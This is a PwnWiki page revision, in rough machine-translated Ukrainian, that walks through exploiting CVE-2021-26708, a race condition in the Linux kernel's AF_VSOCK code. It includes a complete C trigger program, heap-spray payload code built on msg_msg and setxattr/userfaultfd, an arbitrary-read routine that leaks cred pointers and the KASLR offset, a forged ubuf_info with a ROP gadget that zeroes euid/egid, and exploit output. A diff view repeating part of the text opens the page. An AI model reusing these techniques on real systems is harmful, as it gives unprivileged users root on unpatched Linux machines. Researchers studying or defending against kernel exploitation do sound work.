Difference between revisions of "CVE-2021-26708 Linux kernel before 5.10.13 特權提升漏洞/uk"

From PwnWiki
(Created page with "Для того, щоб обробити <code> connect () </code> віртуального сокета, ядро ​​виконує <code> vsock_stream_connect () </code>,...")
 
(Created page with "На першому кроці я почав вивчати стабільне розпилення купи, яке використовувало виконання прос...")
 
(One intermediate revision by the same user not shown)
Line 430: Line 430:
 
2. Підготуйте 2800-байтний буфер у просторі користувача та використовуйте 0x42 для memset ()
 
2. Підготуйте 2800-байтний буфер у просторі користувача та використовуйте 0x42 для memset ()
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
3. Використовуйте sendto () для надсилання цього буфера з клієнтського сокета в кожен серверний сокет для створення об’єктів sk_buff у kmalloc-4k. Використовуйте `sched_setaffinity () на кожному доступному процесорі
3.用sendto()將這個緩衝區從客戶端套接字發送到每個服務器套接字,用於在kmalloc-4k中創建sk_buff對象。在每個可用的CPU上使用`sched_setaffinity()
 
</div>
 
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
4. Виконайте довільний процес читання на vsock_sock
4.對vsock_sock執行任意讀取過程
 
</div>
 
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
5. Обчисліть можливу адресу ядра sk_buff як sk_memcg плюс 4096 (наступний елемент kmalloc-4k)
5.計算可能的sk_buff內核地址為sk_memcg加4096(kmalloc-4k的下一個元素)
 
</div>
 
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
6. Виконайте довільне читання цієї можливої ​​адреси sk_buff
6.對這個可能的sk_buff地址執行任意讀
 
</div>
 
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
7. Якщо ви знайшли 0x42424242424242lu в розташуванні мережевих даних, знайдіть справжній sk_buff і перейдіть до кроку 8. В іншому випадку додайте 4096 до можливої ​​адреси sk_buff і перейдіть до кроку 6
7.如果在網絡數據的位置找到0x42424242424242lu,則找到真正的sk_buff,進入步驟8。否則,在可能的sk_buff地址上加4096,轉到步驟6
 
</div>
 
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
8. Виконайте розпилювач купи setxattr () & userfaultfd () з 32 pthreads на sk_buff і повісьте їх на pthread_barrier
8.sk_buff上執行32個pthreads的setxattr()&userfaultfd()堆噴射,並把它們掛在pthread_barrier上
 
</div>
 
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
9. Довільно відпустіть адресу ядра sk_buff
9.對sk_buff內核地址進行任意釋放
 
</div>
 
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
10. Зателефонуйте pthread_barrier_wait (), виконайте 32 setxattr (), щоб покрити кучу розпилення pthreads skb_shared_info
10.調用pthread_barrier_wait(),執行32個setxattr()覆蓋skb_shared_info的堆噴pthreads
 
</div>
 
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
11. Використовуйте recv () для отримання мережевих повідомлень із серверного сокета.
11.使用recv()接收服務器套接字的網絡消息。
 
</div>
 
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
== Вільно писати через skb_shared_info ==
==通過skb_shared_info 進行任意寫==
 
</div>
 
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
Нижче наведено дійсне корисне навантаження, яке замінює об’єкт sk_buff:
以下是覆蓋sk_buff對象的有效payload:
 
</div>
 
  
 
<pre>
 
<pre>
Line 495: Line 473:
 
</pre>
 
</pre>
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
skb_shared_info міститься в даних ін'єкції, саме на відстані SKB_SHINFO_OFFSET, що становить 3776 байт. Покажчик skb_shared_info.destructor_arg зберігає адресу struct ubuf_info. Оскільки відома адреса ядра атакованого sk_buff, підроблений ubuf_info можна створити за адресою MY_UINFO_OFFSET у мережевому буфері. Нижче наведено схему дійсного корисного навантаження:
skb_shared_info駐留在噴射數據中,正好在偏移量SKB_SHINFO_OFFSET處,即3776字節。 skb_shared_info.destructor_arg指針存儲了struct ubuf_info的地址。因為被攻擊的sk_buff的內核地址是已知的,所以能在網絡緩衝區的MY_UINFO_OFFSET處創建了一個假的ubuf_info。下面是有效payload的佈局:
 
</div>
 
  
 
[[File:T0185ccbf9f025c74da.png  | 600px]]
 
[[File:T0185ccbf9f025c74da.png  | 600px]]
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
Поговоримо про зворотний виклик destructor_arg:
下面講講destructor_arg 回調:
 
</div>
 
 
<pre>
 
<pre>
 
  /*
 
  /*
Line 515: Line 489:
 
</pre>
 
</pre>
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
Оскільки в vmlinuz-5.10.11-200.fc33.x86_64 я не зміг знайти гаджет, який міг би задовольнити мої потреби, я дослідив і сконструював його сам.
由於在vmlinuz-5.10.11-200.fc33.x86_64中找不到一個能滿足我需求的gadget,所以我自己進行了研究構造。
 
</div>
 
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
Покажчик функції зворотного виклику зберігає адресу гаджета ROP, RDI зберігає перший параметр функції зворотного виклику, який є адресою самого ubuf_info, а RDI + 8 вказує на ubuf_info.desc. гаджет переміщує ubuf_info.desc до RDX. Тепер RDX містить ефективний ідентифікатор користувача та адресу ідентифікатора групи мінус один байт. Цей байт дуже важливий: коли пристрій пише повідомлення 1 з RSI в пам'ять, на яку вказує RDX, ефективний uid і gid буде перезаписаний нулем. Повторюйте той самий процес, доки привілеї не буде оновлено до root. Вихідний потік усього процесу такий:
callback函數指針存儲一個ROP gadget 地址,RDI存儲callback函數的第一個參數,也就是ubuf_info本身的地址,RDI + 8指向ubuf_info.desc。 gadget 將ubuf_info.desc移動到RDX。現在RDX包含有效用戶ID和組ID的地址減一個字節。這個字節很重要:當gadget從 RSI向 RDX指向的內存中寫入消息1時,有效的 uid和 gid將被零覆蓋。重複同樣的過程,直到權限升級到root。整個過程輸出流如下:
 
</div>
 
 
<pre>
 
<pre>
 
[a13x@localhost ~]$ ./vsock_pwn
 
[a13x@localhost ~]$ ./vsock_pwn
Line 594: Line 564:
 
</pre>
 
</pre>
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
== Відео ==
==視頻==
 
</div>
 
 
<youtube>https://www.youtube.com/watch?v=EC8PFOYOUgU</youtube>
 
<youtube>https://www.youtube.com/watch?v=EC8PFOYOUgU</youtube>
  
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
== Довідка ==
==參考==
 
</div>
 
 
https://a13xp0p0v.github.io/2021/02/09/CVE-2021-26708.html
 
https://a13xp0p0v.github.io/2021/02/09/CVE-2021-26708.html

Latest revision as of 10:01, 6 May 2021

Other languages:
Chinese • ‎English • ‎español • ‎português • ‎svenska • ‎русский • ‎українська • ‎עברית • ‎العربية • ‎中文(繁體)‎ • ‎日本語

Уразливість

Ці вразливості - це умови перегонів, спричинені неправильним блокуванням у net / vmw_vsock / af_vsock.c . Ці умовні змагання були неявно представлені у поданні, яке додало підтримку мультитранспорту VSOCK у листопаді 2019 року, та були об’єднані у версію ядра Linux 5.5-rc1.

CONFIG_VSOCKETS та CONFIG_VIRTIO_VSOCKETS надаються як модулі ядра у всіх основних дистрибутивах GNU / Linux. Коли ви створюєте сокет для домену AF_VSOCK, ці вразливі модулі завантажуються автоматично.

vsock = socket(AF_VSOCK, SOCK_STREAM, 0);

Створення AF_VSOCK сокетів доступне для непривілейованих користувачів і не вимагає простору імен користувачів.


Пошкодження пам'яті

Далі наведено докладний вступ до використання CVE-2021-26708, використовуючи умовну конкуренцію в vsock_stream_etssockopt () . Для відтворення потрібні два потоки. Перший потік викликає setsockopt () :

  setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE,
                &size, sizeof(unsigned long));


Другий потік змінює передачу віртуального сокета, коли vsock_stream_etssockopt () намагається отримати блокування сокета, повторно підключивши віртуальний сокет:

struct sockaddr_vm addr = {
        .svm_family = AF_VSOCK,
    };

    addr.svm_cid = VMADDR_CID_LOCAL;
    connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));

    addr.svm_cid = VMADDR_CID_HYPERVISOR;
    connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));


Для того, щоб обробити connect () віртуального сокета, ядро ​​виконує vsock_stream_connect () , що викликає vsock_assign_transport () . Ця функція містить такий код:

     if (vsk->transport) {
            if (vsk->transport == new_transport)
                return 0;

            /* transport->release() must be called with sock lock acquired.
             * This path can only be taken during vsock_stream_connect(),
             * where we have already held the sock lock.
             * In the other cases, this function is called on a new socket
             * which is not assigned to any transport.
             */
            vsk->transport->release(vsk);
            vsock_deassign_transport(vsk);
        }

vsock_stream_connect () містить блокування сокета, а vsock_stream_setsockopt () у паралельному потоці також намагається отримати його, що становить умовну конкуренцію. Отже, коли другий connect () виконується з іншим svm_cid , викликається функція vsock_de assign_transport () . Ця функція виконує virtio_transport_destruct () , випускає vsock_sock.trans , а для vsk-> transport встановлено значення NULL. Коли vsock_stream_connect () звільняє блокування сокета, vsock_stream_setsockopt () може продовжувати виконуватися. Він викликає vsock_update_buffer_size () , а потім викликає transport-> notify_buffer_size () . Тут транспорт містить застаріле значення з локальної змінної, яке не відповідає vsk-> транспорт (вихідне значення має значення NULL).

Коли ядро ​​виконує virtio_transport_notify_buffer_size () , відбувається пошкодження пам'яті:

void virtio_transport_notify_buffer_size(struct vsock_sock *vsk, u64 *val)
{
    struct virtio_vsock_sock *vvs = vsk->trans;

    if (*val > VIRTIO_VSOCK_MAX_BUF_SIZE)
        *val = VIRTIO_VSOCK_MAX_BUF_SIZE;

    vvs->buf_alloc = *val;

    virtio_transport_send_credit_update(vsk, VIRTIO_VSOCK_TYPE_STREAM, NULL);
}

Тут vvs - це вказівник на пам’ять ядра, який був випущений у virtio_transport_destruct () . Розмір struct virtio_vsock_sock дорівнює 64 байтам і знаходиться в кеш-пам’яті kmalloc-64. Тип поля buf_alloc має значення u32 і знаходиться зі зміщенням 40. VIRTIO_VSOCK_MAX_BUF_SIZE - 0xFFFFFFFFUL . Значення * val контролюється зловмисником, а його чотири найменш важливі байти записуються у звільнену пам'ять.


Розмивання

Fuzzer syzkaller не має можливості відтворити цю аварію, тому я вирішив вивчити її сам. Але чому фуззер виходить з ладу? Дотримуйтесь vsock_update_buffer_size () і дізнайтеся:

 if (val != vsk->buffer_size &&
      transport && transport->notify_buffer_size)
        transport->notify_buffer_size(vsk, &val);

    vsk->buffer_size = val;

Тільки тоді, коли val відрізняється від поточного buffer_size, буде викликатися notify_buffer_size () , тобто, коли setsockopt () виконує SO_VM_SOCKETS_BUFFER_SIZE , кожного разу Параметри розміру дзвінка повинні бути різними. Тож я створив відповідний код:

/*
 * AF_VSOCK vulnerability trigger.
 * It's a PoC just for fun.
 * Author: Alexander Popov <[email protected]>.
 */

#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <sys/socket.h>
#include <linux/vm_sockets.h>
#include <unistd.h>

#define err_exit(msg) do { perror(msg); exit(EXIT_FAILURE); } while (0)

#define MAX_RACE_LAG_USEC 50

int vsock = -1;
int tfail = 0;
pthread_barrier_t barrier;

int thread_sync(long lag_nsec)
{
	int ret = -1;
	struct timespec ts0;
	struct timespec ts;
	long delta_nsec = 0;

	ret = pthread_barrier_wait(&barrier);
	if (ret != 0 && ret != PTHREAD_BARRIER_SERIAL_THREAD) {
		perror("[-] pthread_barrier_wait");
		return EXIT_FAILURE;
	}

	ret = clock_gettime(CLOCK_MONOTONIC, &ts0);
	if (ret != 0) {
		perror("[-] clock_gettime");
		return EXIT_FAILURE;
	}

	while (delta_nsec < lag_nsec) {
		ret = clock_gettime(CLOCK_MONOTONIC, &ts);
		if (ret != 0) {
			perror("[-] clock_gettime");
			return EXIT_FAILURE;
		}

		delta_nsec = (ts.tv_sec - ts0.tv_sec) * 1000000000 +
						ts.tv_nsec - ts0.tv_nsec;
	}

	return EXIT_SUCCESS;
}

void *th_connect(void *arg)
{
	int ret = -1;
	long lag_nsec = *((long *)arg) * 1000;
	struct sockaddr_vm addr = {
		.svm_family = AF_VSOCK,
	};

	ret = thread_sync(lag_nsec);
	if (ret != EXIT_SUCCESS) {
		tfail++;
		return NULL;
	}

	addr.svm_cid = VMADDR_CID_LOCAL;
	connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));

	addr.svm_cid = VMADDR_CID_HYPERVISOR;
	connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));

	return NULL;
}

void *th_setsockopt(void *arg)
{
	int ret = -1;
	long lag_nsec = *((long *)arg) * 1000;
	struct timespec tp;
	unsigned long size = 0;

	ret = thread_sync(lag_nsec);
	if (ret != EXIT_SUCCESS) {
		tfail++;
		return NULL;
	}

	clock_gettime(CLOCK_MONOTONIC, &tp);
	size = tp.tv_nsec;
	setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE,
						&size, sizeof(unsigned long));

	return NULL;
}

int main(void)
{
	int ret = -1;
	unsigned long size = 0;
	long loop = 0;
	pthread_t th[2] = { 0 };

	vsock = socket(AF_VSOCK, SOCK_STREAM, 0);
	if (vsock == -1)
		err_exit("[-] open vsock");

	printf("[+] AF_VSOCK socket is opened\n");

	size = 1;
	setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_MIN_SIZE,
						&size, sizeof(unsigned long));
	size = 0xfffffffffffffffdlu;
	setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_MAX_SIZE,
						&size, sizeof(unsigned long));

	ret = pthread_barrier_init(&barrier, NULL, 2);
	if (ret != 0)
		err_exit("[-] pthread_barrier_init");

	for (loop = 0; loop < 30000; loop++) {
		long tmo1 = 0;
		long tmo2 = loop % MAX_RACE_LAG_USEC;

		printf("race loop %ld: tmo1 %ld, tmo2 %ld\n", loop, tmo1, tmo2);

		ret = pthread_create(&th[0], NULL, th_connect, &tmo1);
		if (ret != 0)
			err_exit("[-] pthread_create #0");

		ret = pthread_create(&th[1], NULL, th_setsockopt, &tmo2);
		if (ret != 0)
			err_exit("[-] pthread_create #1");

		ret = pthread_join(th[0], NULL);
		if (ret != 0)
			err_exit("[-] pthread_join #0");

		ret = pthread_join(th[1], NULL);
		if (ret != 0)
			err_exit("[-] pthread_join #1");

		if (tfail) {
			printf("[-] some thread got troubles\n");
			exit(EXIT_FAILURE);
		}
	}

	ret = close(vsock);
	if (ret)
		perror("[-] close");

	printf("[+] now see your warnings in the kernel log\n");
	return 0;
}

Значення розміру тут береться з кількості наносекунд, повернутих clock_gettime () , яка може різнитися кожного разу. Оригінальний syzkaller цього не робить, оскільки коли syzkaller генерує нечіткий вхід, значення параметра syscall визначається і не буде змінюватися під час виконання.

Ступінь чотирьох байт

Тут я вибираю сервер Fedora 33 як ціль дослідження, версія ядра - 5.10.11-200.fc33.x86_64, і я твердо вирішив обійти SMEP та SMAP.

На першому кроці я почав вивчати стабільне розпилення купи, яке використовувало виконання просторових дій користувача, щоб змусити ядро ​​виділити ще один 64-байтовий об'єкт у розташуванні звільненого virtio_vsock_sock. Після кількох експериментальних спроб було підтверджено, що випущений virtio_vsock_sock був перезаписаний, вказуючи на те, що обприскування купи можливо. Нарешті я знайшов msgsnd () syscall. Він створює struct msg_msg у просторі ядра, див. Вивід pahole:

struct msg_msg {
    struct list_head           m_list;               /*     0    16 */
    long int                   m_type;               /*    16     8 */
    size_t                     m_ts;                 /*    24     8 */
    struct msg_msgseg *        next;                 /*    32     8 */
    void *                     security;             /*    40     8 */

    /* size: 48, cachelines: 1, members: 5 */
    /* last cacheline: 48 bytes */
};

Спереду - заголовок повідомлення, а ззаду - дані повідомлення. Якщо структура msgbuf у користувацькому просторі має 16-байтовий mtext, відповідний msg_msg буде створений у кеш-пам'яті kmalloc-64. 4-байтовий беззаписний запис зруйнує покажчик безпеки void * зі зміщенням 40. Поле msg_msg.security вказує на дані ядра, виділені lsm_msg_msg_alloc (). Коли msg_msg отримано, воно буде звільнене за допомогою security_msg_msg_free (). Отже, знищивши першу половину покажчика безпеки, можна отримати довільний безкоштовний.

Витік інформації про ядро ​​

Тут використовується CVE-2019-18683 та ж техніка. Друге з'єднання () віртуального сокета викликає vsock_de assign_transport () і встановлює vsk-> transport на NULL, роблячи vsock_stream_setsockopt () Виклик virtio_transport_send_pkt_info () після збою пам'яті з'являється попередження ядра:

WARNING: CPU: 1 PID: 6739 at net/vmw_vsock/virtio_transport_common.c:34
...
CPU: 1 PID: 6739 Comm: racer Tainted: G        W         5.10.11-200.fc33.x86_64 #1
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.13.0-2.fc32 04/01/2014
RIP: 0010:virtio_transport_send_pkt_info+0x14d/0x180 [vmw_vsock_virtio_transport_common]
...
RSP: 0018:ffffc90000d07e10 EFLAGS: 00010246
RAX: 0000000000000000 RBX: ffff888103416ac0 RCX: ffff88811e845b80
RDX: 00000000ffffffff RSI: ffffc90000d07e58 RDI: ffff888103416ac0
RBP: 0000000000000000 R08: 00000000052008af R09: 0000000000000000
R10: 0000000000000126 R11: 0000000000000000 R12: 0000000000000008
R13: ffffc90000d07e58 R14: 0000000000000000 R15: ffff888103416ac0
FS:  00007f2f123d5640(0000) GS:ffff88817bd00000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007f81ffc2a000 CR3: 000000011db96004 CR4: 0000000000370ee0
Call Trace:
  virtio_transport_notify_buffer_size+0x60/0x70 [vmw_vsock_virtio_transport_common]
  vsock_update_buffer_size+0x5f/0x70 [vsock]
  vsock_stream_setsockopt+0x128/0x270 [vsock]
...

За допомогою налагодження gdb виявляється, що регістр RCX містить адресу ядра звільненої virtio_vsock_sock, а регістр RBX - адресу ядра vsock_sock.

Досягнення довільного читання

From arbitrary free to use-after-free

Звільніть об’єкт з адреси ядра, що просочилася Виконайте розпилення купи та накрийте об’єкт контрольованими даними Використовуйте пошкоджені об’єкти для ескалації привілеїв Повідомлення System V, реалізоване ядром, має максимальний ліміт DATALEN_MSG, тобто PAGE_SIZE мінус sizeof (struct msg_msg)). Якщо ви надсилаєте повідомлення більшого розміру, решта повідомлень зберігаються у списку сегментів повідомлень. Msg_msg містить структуру msg_msgseg * поруч із вказівкою на перший сегмент, а size_t m_ts використовується для зберігання розміру. При виконанні операції перезапису ви можете помістити контрольоване значення в msg_msg.m_ts та msg_msg.next:

T01a51dfe7a996e854c.png


Payload:

    #define PAYLOAD_SZ 40 
    void adapt_xattr_vs_sysv_msg_spray(unsigned long kaddr)
    {
        struct msg_msg *msg_ptr;

        xattr_addr = spray_data + PAGE_SIZE * 4 - PAYLOAD_SZ;

        /* Don't touch the second part to avoid breaking page fault delivery */
        memset(spray_data, 0xa5, PAGE_SIZE * 4);

        printf("[+] adapt the msg_msg spraying payload:\n");
        msg_ptr = (struct msg_msg *)xattr_addr;
        msg_ptr->m_type = 0x1337;
        msg_ptr->m_ts = ARB_READ_SZ;
        msg_ptr->next = (struct msg_msgseg *)kaddr; /* set the segment ptr for arbitrary read */
        printf("\tmsg_ptr %p\n\tm_type %lx at %p\n\tm_ts %zu at %p\n\tmsgseg next %p at %p\n",
               msg_ptr,
               msg_ptr->m_type, &(msg_ptr->m_type),
               msg_ptr->m_ts, &(msg_ptr->m_ts),
               msg_ptr->next, &(msg_ptr->next));
    }

Але як використовувати msg_msg для читання даних ядра? Читаючи документацію щодо системного виклику msgrcv (), я знайшов хороше рішення, використовуючи прапори msgrcv () та MSG:

MSG_COPY (since Linux 3.8)
        Nondestructively fetch a copy of the message at the ordinal position  in  the  queue
        specified by msgtyp (messages are considered to be numbered starting at 0).

Цей прапор змушує ядро ​​копіювати дані повідомлень у користувацький простір, не видаляючи їх із черги повідомлень. Якщо ядро ​​має CONFIG_CHECKPOINT_RESTORE = y, то MSG доступний і застосовується на сервері Fedora.

Етапи довільного читання

Готовий до роботи: Використовуйте sched_getaffinity () та CPU_COUNT () для обчислення кількості доступних процесорів (для цієї вразливості потрібно щонайменше два); Відкрити /dev/kmsg для аналізу; mmap () налаштовує userfaultfd () в області пам'яті spray_data як останню частину; Запустіть окремий pthread для обробки подій userfaultfd (); Запустіть 127 потоків для розпилювача кучі setxattr () & userfaultfd () на msg_msg і повісьте їх на thread_barrier; Отримайте адресу ядра оригінального msg_msg: Умовна конкуренція на віртуальних сокетах; Після другого з'єднання (), зачекайте 35 мікросекунд у зайнятому циклі; Зателефонуйте msgsnd (), щоб створити окрему чергу повідомлень; після пошкодження пам’яті об’єкт msg_msg поміщається в положення virtio_vsock_sock; Проаналізуйте журнал ядра та збережіть адресу ядра msg_msg із попередження ядра (регістр RCX); Одночасно збережіть адресу ядра vsock_sock з реєстру RBX; Використовуйте пошкоджений msg_msg, щоб виконати довільний випуск оригінального msg_msg: Використовуйте 4 байти вихідної адреси msg_msg як SO_VM_SOCKETS_BUFFER_SIZE для досягнення пошкодження пам’яті; Умовна конкуренція на віртуальних сокетах; Зателефонуйте msgsnd () відразу після другого з'єднання (); msg_msg розміщується в положенні virtio_vsock_sock для досягнення знищення; Покажчик безпеки тепер знищеного msg_msg зберігає адресу оригінального msg_msg (з кроку 2);

T01a2a2d47c9494c4a5.png

Якщо під час обробки msgsnd () відбувається пошкодження пам'яті msg_msg.security з потоку setsockopt (), перевірка дозволів SELinux не вдається; У цьому випадку msgsnd () повертає -1, а пошкоджений msg_msg знищується; випуск msg_msg.security може звільнити оригінальний msg_msg; Перезапишіть вихідний msg_msg контрольованим корисним навантаженням: Після того, як msgsnd () вийде з ладу, вразливість викличе pthread_barrier_wait () і викличе 127 pthreads для розпилення купи; Ці pthreads виконують корисне навантаження setxattr (); Початковий msg_msg замінюється керованими даними, а покажчик msg_msg.next зберігає адресу об'єкта vsock_sock;

T0140baae964febb059.png

Прочитайте вміст об’єкта ядра vsock_sock до простору користувача, отримавши повідомлення з черги повідомлень, в якому зберігається перезаписаний msg_msg:

ret = msgrcv(msg_locations[0].msq_id, kmem, ARB_READ_SZ, 0,
                IPC_NOWAIT | MSG_COPY | MSG_NOERROR);

Знайдіть ціль атаки

Ось пункти, які я знайшов: 1. Виділений кеш блоку, такий як PINGv6 та sock_inode_cache, має багато покажчиків на об'єкти 2. Покажчик struct mem_cgroup * sk_memcg має зміщення 664 у vsock_sock.sk. Структура mem_cgroup виділена в кеш-пам’яті kmalloc-4k. 3. Вказівник власника const struct cred * знаходиться на відстані 840 від vsock_sock.sk і зберігає адресу облікових даних, які можна перезаписати для ескалації дозволів. 4. Покажчик функції void (* sk_write_space) (struct sock *) знаходиться на відстані 688 від vsock_sock.sk і встановлюється на адресу функції ядра sock_def_write_space (). Він може бути використаний для розрахунку зміщення KASLR.

Ось як уразливість витягує ці вказівники з пам'яті:

#define SK_MEMCG_RD_LOCATION    (DATALEN_MSG + SK_MEMCG_OFFSET)
#define OWNER_CRED_OFFSET    840
#define OWNER_CRED_RD_LOCATION    (DATALEN_MSG + OWNER_CRED_OFFSET)
#define SK_WRITE_SPACE_OFFSET    688
#define SK_WRITE_SPACE_RD_LOCATION (DATALEN_MSG + SK_WRITE_SPACE_OFFSET) 
/*
 * From Linux kernel 5.10.11-200.fc33.x86_64:
 *   function pointer for calculating KASLR secret
 */
#define SOCK_DEF_WRITE_SPACE    0xffffffff819851b0lu 
unsigned long sk_memcg = 0;
unsigned long owner_cred = 0;
unsigned long sock_def_write_space = 0;
unsigned long kaslr_offset = 0;

/* ... */

    sk_memcg = kmem[SK_MEMCG_RD_LOCATION / sizeof(uint64_t)];
    printf("[+] Found sk_memcg %lx (offset %ld in the leaked kmem)\n",
            sk_memcg, SK_MEMCG_RD_LOCATION);

    owner_cred = kmem[OWNER_CRED_RD_LOCATION / sizeof(uint64_t)];
    printf("[+] Found owner cred %lx (offset %ld in the leaked kmem)\n",
            owner_cred, OWNER_CRED_RD_LOCATION);

    sock_def_write_space = kmem[SK_WRITE_SPACE_RD_LOCATION / sizeof(uint64_t)];
    printf("[+] Found sock_def_write_space %lx (offset %ld in the leaked kmem)\n",
            sock_def_write_space, SK_WRITE_SPACE_RD_LOCATION);

    kaslr_offset = sock_def_write_space - SOCK_DEF_WRITE_SPACE;
    printf("[+] Calculated kaslr offset: %lx\n", kaslr_offset);

Впровадити Use-after-free на sk_buff

Мережевий буфер в ядрі Linux представлений структурою sk_buff.У цьому об’єкті є skb_shared_info та destructor_arg, які можна використовувати для викрадення потоку управління. Дані мережі та skb_shared_info розміщуються в одному блоці пам'яті ядра, на який вказує sk_buff.head. Отже, створення 2800-байтового мережевого пакету в просторі користувача призведе до того, що skb_shared_info буде виділено в кеш-пам’ять kmalloc-4k, як і об’єкт mem_cgroup.

Я побудував такі кроки:

1. Використовуйте сокети (AF_INET, SOCK_DGRAM, IPPROTO_UDP), щоб створити клієнтський сокет і 32 серверні сокети

2. Підготуйте 2800-байтний буфер у просторі користувача та використовуйте 0x42 для memset ()

3. Використовуйте sendto () для надсилання цього буфера з клієнтського сокета в кожен серверний сокет для створення об’єктів sk_buff у kmalloc-4k. Використовуйте `sched_setaffinity () на кожному доступному процесорі

4. Виконайте довільний процес читання на vsock_sock

5. Обчисліть можливу адресу ядра sk_buff як sk_memcg плюс 4096 (наступний елемент kmalloc-4k)

6. Виконайте довільне читання цієї можливої ​​адреси sk_buff

7. Якщо ви знайшли 0x42424242424242lu в розташуванні мережевих даних, знайдіть справжній sk_buff і перейдіть до кроку 8. В іншому випадку додайте 4096 до можливої ​​адреси sk_buff і перейдіть до кроку 6

8. Виконайте розпилювач купи setxattr () & userfaultfd () з 32 pthreads на sk_buff і повісьте їх на pthread_barrier

9. Довільно відпустіть адресу ядра sk_buff

10. Зателефонуйте pthread_barrier_wait (), виконайте 32 setxattr (), щоб покрити кучу розпилення pthreads skb_shared_info

11. Використовуйте recv () для отримання мережевих повідомлень із серверного сокета.

Вільно писати через skb_shared_info

Нижче наведено дійсне корисне навантаження, яке замінює об’єкт sk_buff:

#define SKB_SIZE        4096
#define SKB_SHINFO_OFFSET    3776
#define MY_UINFO_OFFSET        256
#define SKBTX_DEV_ZEROCOPY    (1 << 3) 
void prepare_xattr_vs_skb_spray(void)
{
    struct skb_shared_info *info = NULL;

    xattr_addr = spray_data + PAGE_SIZE * 4 - SKB_SIZE + 4;

    /* Don't touch the second part to avoid breaking page fault delivery */
    memset(spray_data, 0x0, PAGE_SIZE * 4);

    info = (struct skb_shared_info *)(xattr_addr + SKB_SHINFO_OFFSET);
    info->tx_flags = SKBTX_DEV_ZEROCOPY;
    info->destructor_arg = uaf_write_value + MY_UINFO_OFFSET;

    uinfo_p = (struct ubuf_info *)(xattr_addr + MY_UINFO_OFFSET);

skb_shared_info міститься в даних ін'єкції, саме на відстані SKB_SHINFO_OFFSET, що становить 3776 байт. Покажчик skb_shared_info.destructor_arg зберігає адресу struct ubuf_info. Оскільки відома адреса ядра атакованого sk_buff, підроблений ubuf_info можна створити за адресою MY_UINFO_OFFSET у мережевому буфері. Нижче наведено схему дійсного корисного навантаження:

T0185ccbf9f025c74da.png

Поговоримо про зворотний виклик destructor_arg:

 /*
     * A single ROP gadget for arbitrary write:
     *   mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rdx + rcx*8], rsi ; ret
     * Here rdi stores uinfo_p address, rcx is 0, rsi is 1
     */
    uinfo_p->callback = ARBITRARY_WRITE_GADGET + kaslr_offset;
    uinfo_p->desc = owner_cred + CRED_EUID_EGID_OFFSET; /* value for "qword ptr [rdi + 8]" */
    uinfo_p->desc = uinfo_p->desc - 1; /* rsi value 1 should not get into euid */

Оскільки в vmlinuz-5.10.11-200.fc33.x86_64 я не зміг знайти гаджет, який міг би задовольнити мої потреби, я дослідив і сконструював його сам.

Покажчик функції зворотного виклику зберігає адресу гаджета ROP, RDI зберігає перший параметр функції зворотного виклику, який є адресою самого ubuf_info, а RDI + 8 вказує на ubuf_info.desc. гаджет переміщує ubuf_info.desc до RDX. Тепер RDX містить ефективний ідентифікатор користувача та адресу ідентифікатора групи мінус один байт. Цей байт дуже важливий: коли пристрій пише повідомлення 1 з RSI в пам'ять, на яку вказує RDX, ефективний uid і gid буде перезаписаний нулем. Повторюйте той самий процес, доки привілеї не буде оновлено до root. Вихідний потік усього процесу такий:

[a13x@localhost ~]$ ./vsock_pwn

=================================================
==== CVE-2021-26708 PoC exploit by a13xp0p0v ====
=================================================

[+] begin as: uid=1000, euid=1000
[+] we have 2 CPUs for racing
[+] getting ready...
[+] remove old files for ftok()
[+] spray_data at 0x7f0d9111d000
[+] userfaultfd #1 is configured: start 0x7f0d91121000, len 0x1000
[+] fault_handler for uffd 38 is ready

[+] stage I: collect good msg_msg locations
[+] go racing, show wins: 
    save msg_msg ffff9125c25a4d00 in msq 11 in slot 0
    save msg_msg ffff9125c25a4640 in msq 12 in slot 1
    save msg_msg ffff9125c25a4780 in msq 22 in slot 2
    save msg_msg ffff9125c3668a40 in msq 78 in slot 3

[+] stage II: arbitrary free msg_msg using corrupted msg_msg
    kaddr for arb free: ffff9125c25a4d00
    kaddr for arb read: ffff9125c2035300
[+] adapt the msg_msg spraying payload:
    msg_ptr 0x7f0d91120fd8
    m_type 1337 at 0x7f0d91120fe8
    m_ts 6096 at 0x7f0d91120ff0
    msgseg next 0xffff9125c2035300 at 0x7f0d91120ff8
[+] go racing, show wins: 

[+] stage III: arbitrary read vsock via good overwritten msg_msg (msq 11)
[+] msgrcv returned 6096 bytes
[+] Found sk_memcg ffff9125c42f9000 (offset 4712 in the leaked kmem)
[+] Found owner cred ffff9125c3fd6e40 (offset 4888 in the leaked kmem)
[+] Found sock_def_write_space ffffffffab9851b0 (offset 4736 in the leaked kmem)
[+] Calculated kaslr offset: 2a000000

[+] stage IV: search sprayed skb near sk_memcg...
[+] checking possible skb location: ffff9125c42fa000
